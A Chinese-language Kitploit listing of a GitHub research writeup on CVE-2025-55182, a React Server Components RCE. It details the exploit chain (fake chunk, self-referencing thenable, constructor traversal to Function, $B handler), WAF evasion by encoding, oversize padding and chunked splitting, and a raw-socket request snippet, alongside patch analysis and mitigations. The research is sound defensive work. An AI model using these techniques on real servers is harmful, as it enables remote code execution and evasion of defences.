Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-55182-research — CVE-2025-55182的技术概念验证与深度分析,这是React Flight协议中一个严重的RCE漏洞,涉及路径遍历、伪造chunk注入以及$B处理器滥用。 | Kitploit
工具/GitHubGitHub/ejpir/cve-2025-55182-research
漏洞分析漏洞利用Web应用程序漏洞利用WAF绕过论文与研究学习与教育Payload 开发
GitHubejpir/cve-2025-55182-research

CVE-2025-55182-research

CVE-2025-55182的技术概念验证与深度分析,这是React Flight协议中一个严重的RCE漏洞,涉及路径遍历、伪造chunk注入以及$B处理器滥用。

查看仓库
79520259个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-55182 - React Server Components RCE

NOTE: Written by AI/Claude

https://github.com/ejpir/CVE-2025-55182-bypass

TL;DR

CVE-2025-55182 是 React 的 Flight Protocol 中的一个严重 RCE 漏洞。该攻击链结合 路径遍历 + 伪造 chunk 注入 + $B 处理器滥用 来执行 Function(attacker_code)。

衷心感谢 maple3142 提供了可用的利用链!


The Exploit

Attack Overview

该漏洞利用三个表单字段来构造恶意负载:

  1. 创建一个带有自引用 then 的伪造 chunk 对象(字段 1 $@0 → 字段 0)
  2. 嵌入一个伪造的 _response,其中 设置为
_formData.get
$1:constructor:constructor
  • 触发 $B 处理器,它会调用 response._formData.get(response._prefix + id)
  • 路径遍历将 _formData.get 解析为 Function,从而执行 Function(code)
  • Exploitation Flow```

    ┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘

    root@kitploit:~
    ### 关键组件
    
    | 组件 | 用途 |
    |-----------|---------|
    | `then: "$1:__proto__:then"` | 自引用 thenable;块 1(`$@0`)指回块 0 |
    | `status: "resolved_model"` | 使对象看起来像有效的 React 块 |
    | `reason: -1` | 将 rootReference 设置为 undefined(避免引用冲突) |
    | `value: '{"then":"$B1337"}'` | 触发 `$B` 处理器的嵌套载荷 |
    | `_response._prefix` | 包含 RCE 代码字符串 |
    | `_response._chunks: "$Q2"` | 空 Map,用于防止块处理期间崩溃 |
    | `_response._formData.get` | 通过 `$1:constructor:constructor` 指向 `Function` |
    
    ### 组件深入解析
    
    #### 表单字段结构
    
    该漏洞利用三个具有循环引用的表单字段:```
    Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
    Field 1: "$@0"    ← references back to field 0
    Field 2: []       ← empty array for _chunks Map
    

    自引用 Thenable(then)

    then: "$1:__proto__:then" 创建了一个自引用,该引用解析为一个 真实函数:``` $1:proto:then ↓ $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object ↓ Chunk.proto.then → Chunk.prototype.then (actual function!)

    root@kitploit:~
    **为什么这至关重要:**
    
    1. `then` 解析为 `Chunk.prototype.then` —— 一个真实的可调用函数
    2. 这使得伪对象成为合法的 thenable
    3. 当被 await 时,JS 会调用 `obj.then(resolve, reject)`
    4. `Chunk.prototype.then` 以伪对象作为 `this` 执行:```javascript
    Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {  // this.status = "resolved_model" ✓
        case "resolved_model":
          initializeModelChunk(this);  // fake object passed!
    
    1. initializeModelChunk(this) 使用 this._response - 攻击者伪造的 _response:```javascript value = reviveModel( chunk._response, // ← attacker's fake _response! ... );
    root@kitploit:~
    **没有自引用**,伪造的 `_response` 将永远不会被使用。自引用使得 `Chunk.prototype.then` 将攻击者的对象视为真正的 Chunk。
    
    #### 两阶段 Thenable 触发(`value`)
    
    `value` 字段包含一个嵌套的 JSON 字符串,其中含有另一个 thenable:```json
    {"then":"$B1337"}
    

    Stage 1: 外部对象的自引用 then 触发分块处理

    Stage 2: 当 React 解析模型时,它会解析 value 并遇到另一个带有 then: "$B1337" 的 thenable。$B 前缀触发处理器:```javascript case "B": return response._formData.get(response._prefix + obj); // obj = "1337"

    root@kitploit:~
    `_formData.get` 的值是 `"$1:constructor:constructor"` → `getOutlinedModel()` 解析为 `Function`。
    
    这变成了:`Function(code + "1337")` → 有效的 JS,因为 `1337` 只是一个尾随表达式。
    
    #### 防御性填充(`_chunks`)
    
    伪造的 `_response` 需要一个有效的 `_chunks` 属性以防止崩溃:```
    Form field "2": []           ← empty array
    _chunks: "$Q2"               ← $Q = Map type, creates new Map([])
    

    React 的内部代码在处理过程中可能会访问 response._chunks.get() 或 response._chunks.has()。空的 Map 可以无错误地满足这些调用,从而使执行流到达存在漏洞的 $B 处理器。


    易受攻击的代码路径

    路径函数在漏洞利用中的用途
    路径遍历getOutlinedModel()解析 $1:constructor:constructor → Function
    伪造 _response 注入initializeModelChunk()使用攻击者的 chunk._response
    $B 处理器parseModelString()调用 _formData.get(_prefix + id) → RCE

    decodeReply() 是入口点,本身并不易受攻击。

    路径遍历(getOutlinedModel()):```javascript for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; // No validation!

    root@kitploit:~
    **伪造响应用法** (`initializeModelChunk()`):```javascript
    value = reviveModel(
      chunk._response,  // Uses chunk._response directly!
      { "": rawModel },
      ...
    );
    

    $B 处理器 RCE (parseModelString()):```javascript case "B": return response._formData.get(response._prefix + obj); // RCE!

    root@kitploit:~
    ---
    
    ## 修复(19.2.1)
    
    该补丁包含多项修复:
    
    1. **`RESPONSE_SYMBOL` 在 `initializeModelChunk()` 中** - 关键修复   ```javascript
       // BEFORE: chunk._response (attacker can set via JSON)
       value = reviveModel(chunk._response, ...);
    
       // AFTER: Symbol lookup (cannot be forged via JSON)
       var response = chunk.reason[RESPONSE_SYMBOL];
       value = reviveModel(response, ...);
    
    1. getOutlinedModel() 中的 hasOwnProperty 检查 - 阻止原型链遍历 ```javascript hasOwnProperty.call(value, name) && (value = value[name]);
      root@kitploit:~
    2. __proto__ 在 reviveModel() 中的处理 - 防止原型污染 ```javascript void 0 !== parentObj || "proto" === i ? (value[i] = parentObj) : delete value[i];
      root@kitploit:~
    3. 在 initializeModelChunk() 中进行类型检查 - 验证监听器 ```javascript "function" === typeof listener ? listener(value) : fulfillReference(response, listener, value);
      root@kitploit:~

    影响与版本

    影响评估

    能力状态备注
    原型链遍历✓ 已确认通过 $1:constructor:constructor
    访问 Function 构造器✓ 已确认无需 manifest
    完全远程代码执行(RCE)✓ 已确认通过伪造 chunk + $B 处理器

    受影响版本

    • react-server-dom-webpack:19.0.0、19.1.0、19.1.1、19.2.0
    • react-server-dom-turbopack:相同版本
    • Next.js:15.x、16.x(补丁发布前),14.3.0-canary.77+ 及之后的 canary 版本

    修复版本

    • React:19.0.1+、19.1.2+、19.2.1+
    • Next.js:15.0.5、15.1.9、15.2.6、15.3.6、15.4.8、15.5.7、16.0.7+

    为什么基于特征签名的 WAF 检测会失效

    本节解释为什么传统的模式匹配 WAF 规则无法可靠地检测此漏洞。了解这些局限性对于安全团队评估其防御态势至关重要。

    核心问题:多层编码

    攻击载荷会经过多个解析器,每个解析器支持不同的编码方式。检查原始 HTTP 字节的 WAF 看到的是编码后的字符串,但服务器在处理前会对它们进行解码:

    层解析器解码内容
    JSON 结构JSON.parse()\uXXXX Unicode 转义
    JavaScript 代码Function() 构造函数\uXXXX、\xXX、八进制、fromCharCode()

    这造成了根本性的不匹配:WAF 看到的是编码字节,而应用程序看到的是解码后的字符串。

    签名需要匹配的内容

    一个简单的 WAF 可能会查找类似 constructor、__proto__、resolved_model 或 child_process 的模式。然而,JSON 允许对任何字符使用 Unicode 转义:

    字面模式Unicode 等价形式WAF 检测
    constructor\u0063onstructor已绕过
    __proto__\u005f\u005fproto\u005f\u005f已绕过
    resolved_model\u0072esolved_model已绕过
    $@(循环引用)$\u0040已绕过

    载荷中的 JavaScript 代码拥有更多编码选项:

    模式编码选项
    process\u0070rocess、String.fromCharCode(112,114,111,99,101,115,115)
    child_process\x63hild_process、数字字符编码、base64
    任意标识符方括号表示法:this[S(112,114,...)],其中 S=String.fromCharCode

    检测盲区

    当所有编码技术组合使用时:

    • JSON 键变成 Unicode 序列(then 变为 \u0074\u0068\u0065\u006e)
    • JS 标识符变成数字数组(child_process 变为 S(99,104,105,108,100,95,...))
    • 原始载荷中找不到任何可识别的关键字

    扫描 HTTP 主体的 WAF 看到的只是转义序列和数字——没有任何与传统攻击签名匹配的内容。

    为什么这对防御者很重要

    1. 基于签名的规则会带来虚假的安全感——载荷在未被检测的情况下到达服务器
    2. 编码方式是无限的——每个字符都可以用不同方式转义;正则表达式无法穷举所有变体
    3. 该攻击符合协议规范——所有编码按照规范来说都是合法的 JSON/JavaScript

    头部检测注意事项

    Next-Action 头部用于标识 Server Action 请求。虽然头部名称无法进行 Unicode 编码(RFC 7230 要求使用 ASCII 令牌),但 WAF 与服务器之间的规范化差异造成了检测盲区:

    变体服务器行为WAF 风险
    next-action(小写)接受(HTTP 不区分大小写)若 WAF 期望精确大小写则漏报
    Next-Action:\tx(制表符)接受(空白已规范化)若 WAF 期望空格则漏报
    Next-Action: x(空格)接受未规范化则漏报

    防御建议

    打补丁是唯一可靠的缓解措施。 由于编码灵活性,WAF 规则无法全面阻止此攻击。

    必需版本:

    • React:19.0.1+、19.1.2+、19.2.1+
    • Next.js:15.0.5+、15.1.9+、15.2.6+、15.3.6+、15.4.8+、15.5.7+、16.0.7+

    如果补丁延迟,请考虑:

    1. 先解码再匹配——WAF 必须在模式匹配之前解码 \uXXXX、\xXX 并规范化 fromCharCode() 调用
    2. 结构检测——查找包含 _response、_prefix、_chunks 或循环引用($@0)的 JSON 结构
    3. 头部规范化——以不区分大小写的方式匹配 next-action 头部并去除空白
    4. 阻止 Server Actions——如果未使用 Server Actions,则完全阻止带有 Next-Action 头部的请求
    5. 运行时监控——对使用动态字符串参数调用 Function() 的行为发出告警

    关键要点:仅靠模式匹配无法抵御此类攻击。编码空间过于庞大,无法穷举。


    AWS WAF Body 检查限制绕过

    即使配置了全面的 WAF 规则,AWS WAF 仍存在 Body 检查大小限制,可被利用。本节记录了使用超大载荷进行测试的绕过技术。

    Body 检查限制

    AWS WAF 仅检查请求体的一部分:

    后端默认限制最大可配置值
    ALB / AppSync8 KB8 KB
    CloudFront / API Gateway16 KB64 KB
    Amazon Cognito / App Runner16 KB64 KB

    OversizeHandling 问题

    WAF 规则指定如何处理超出检查限制的请求:

    设置行为可被利用?
    CONTINUE检查可用字节,评估规则是——限制之后的载荷不被检查
    MATCH视为匹配(阻止)否——阻止超大请求
    NO_MATCH视为不匹配是——直接放行

    如果您的 WAF 规则使用 OversizeHandling: CONTINUE(常见默认值),则该绕过轻而易举。

    绕过策略:在载荷前添加填充

    将无害的填充数据放在攻击载荷之前,使其落入检查窗口之外:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘

    root@kitploit:~
    ### 测试结果
    
    所有超大载荷均在 Next.js 上成功实现了 RCE:
    
    | 填充大小 | 总请求体 | 利用偏移 | 结果 |
    |--------------|------------|----------------|--------|
    | 0 KB | 0.6 KB | 0.4 KB | ✅ RCE |
    | 8 KB | 8.6 KB | 8.4 KB | ✅ RCE |
    | 16 KB | 16.6 KB | 16.5 KB | ✅ RCE |
    | 32 KB | 32.6 KB | 32.5 KB | ✅ RCE |
    | 64 KB | 64.6 KB | 64.5 KB | ✅ RCE |
    | 128 KB | 128.6 KB | 128.5 KB | ✅ RCE |
    
    ### 分块传输编码绕过
    
    HTTP/1.1 分块传输编码将请求体拆分为多个独立的分块。如果 WAF 在重组**之前**检查分块,跨越分块边界的模式将无法匹配。
    
    #### 工作原理```
    HTTP Request with Transfer-Encoding: chunked
    
    17f\r\n                           ← Chunk 1 size (hex)
    ...Content-Disposition: form-data; name="1"\r\n\r\n"$
    \r\n
    7b\r\n                            ← Chunk 2 size (hex)
    @0"\r\n------WebKitFormBoundary...
    \r\n
    0\r\n\r\n                         ← Terminator
    

    跨块拆分的模式:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)

    root@kitploit:~
    #### 已测试的分块策略
    
    | 策略 | 描述 | 结果 |
    |----------|-------------|--------|
    | 在 `$@` 处拆分 | `"$` \| `@0"` | ✅ RCE |
    | 10字节片段 | 正文每 10 字节拆分 | ✅ RCE |
    | 5字节片段 | 正文每 5 字节拆分 | ✅ RCE |
    | 在 `status` 处拆分 | `sta` \| `tus` | ✅ RCE |
    
    所有策略均成功实现 RCE - Next.js 能正确重组分块请求。
    
    #### 原始套接字示例```javascript
    const net = require('net');
    const socket = new net.Socket();
    
    socket.connect(3000, 'localhost', () => {
      // Headers with chunked encoding
      socket.write([
        'POST / HTTP/1.1',
        'Host: localhost:3000',
        'Content-Type: multipart/form-data; boundary=----WebKit',
        'Transfer-Encoding: chunked',
        'Next-Action: test',
        '', ''
      ].join('\r\n'));
    
      // Chunk 1: everything up to and including "$
      const chunk1 = '...payload ending with "$';
      socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);
    
      // Chunk 2: "@0" and rest of payload
      const chunk2 = '@0"\r\n...rest of payload';
      socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);
    
      // Terminator
      socket.write('0\r\n\r\n');
    });
    

    WAF 行为注意事项

    WAF 类型分块处理是否可能绕过?
    AWS WAF (ALB)检查前重新组装不太可能
    AWS WAF (CloudFront)检查前重新组装不太可能
    一些传统 WAF逐块检查是
    Nginx ModSecurity可配置取决于配置

    注意: AWS WAF 通常在检查前重新组装分块请求体。但具体因环境配置不同,应逐环境验证。

    缓解建议

    1. 将 OversizeHandling 更改为 MATCH ```json "OversizeHandling": "MATCH"
      root@kitploit:~

    这会在满足规则条件时阻止任何超过检查限制的请求。

    1. 提高请求体检查限制(仅限 CloudFront/API Gateway) 在 Web ACL 设置中最多可配置 64KB,但这并不能完全阻止绕过。

    2. 添加基于大小的阻止规则 阻止带有 Next-Action 头且大小超过合理值(例如 10KB)的 POST 请求。

    3. 修补应用程序 —— 唯一完整的解决方案。

    测试脚本

    参见随附的测试脚本:

    • test-simple.cjs —— 基线非分块载荷测试
    • test-oversize.cjs —— 测试 0-128KB 的填充大小
    • test-chunked-v2.cjs —— 使用 $@ 分割的分块传输编码
    • test-chunked-bypass.cjs —— 多种分块策略(5 字节、10 字节、模式分割)

    用法:```bash

    Start vulnerable Next.js server (port 3000)

    cd nextjs-test && npm run dev

    Run tests

    node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies

    root@kitploit:~
    ---
    
    ## 研究历程
    
    ### 漏洞:路径遍历```javascript
    function getOutlinedModel(response, reference, parentObject, key, map) {
      reference = reference.split(":");
      var id = parseInt(reference[0], 16);
      var parentObject = response.chunks[id];
    
      // PATH TRAVERSAL - no hasOwnProperty check!
      for (var key = 1; key < reference.length; key++)
        parentObject = parentObject[reference[key]];  // VULNERABLE!
    
      return map(response, parentObject);
    }
    

    With payload "$1:constructor:constructor":

    1. chunk[1]["constructor"] → [Function: Object]
    2. Object["constructor"] → [Function: Function]

    我们尝试过的受阻路径

    虽然我们获得了 Function,但实现 RCE 需要用受控参数调用它。以下路径均未成功:

    1. Thenable 路径(已阻止)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name

    root@kitploit:~
    **2. decodeAction 路径(已阻止)**```javascript
    // decodeAction always appends formData:
    // Function.bind(null, "code").bind(null, formData)()
    // = Function("code", "[object FormData]")
    // Result: SyntaxError - "[object FormData]" is not valid JS body
    

    3. 迭代器路径 (已阻止)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute

    root@kitploit:~
    ### 突破
    
    maple3142 找到了缺失的关键环节:`$B` 处理器 + 伪造的 `_response` 链。通过自引用让 `then` 解析为 `Chunk.prototype.then`,伪造的 `_response` 就会被使用,从而实现 RCE。
    
    ---
    
    ## 关键发现
    
    1. **`getOutlinedModel()` 漏洞真实存在** - 冒号分隔的路径允许原型链遍历
    
    2. **函数构造函数可被访问** - 在无 serverManifest 的情况下,`$1:constructor:constructor` 依然有效
    
    3. **RCE 可实现** - 通过构造带有可控 `_response` 的伪造 chunk:
       - 自引用 `$1:__proto__:then` → `Chunk.prototype.then` 使伪造的 `_response` 被使用
       - 伪造 chunk 的结构模仿 React 内部的 Chunk 类
       - `_response._formData.get` → `Function` 构造函数
       - `_response._prefix` → 恶意代码字符串
       - `$B` 处理器触发 `Function(malicious_code)`
    
    4. **修复方案全面** - 包含多重 `hasOwnProperty` 检查与类型校验
    
    ---
    
    ## 参考资料
    
    - [maple3142 的 Gist](https://gist.github.com/maple3142) - RCE 链的发现
    - [React 安全公告](https://github.com/facebook/react/security/advisories)
    - [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
    - [msanft PoC](https://github.com/msanft/CVE-2025-55182)
    - [react2shell.com](https://react2shell.com)
    - [AWS WAF 规则](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)
    
    ---
    
    ## 免责声明
    
    本仓库仅用于**教育和防御性安全研究**。该漏洞已被修补,请立即升级你的依赖。
    
    下载工具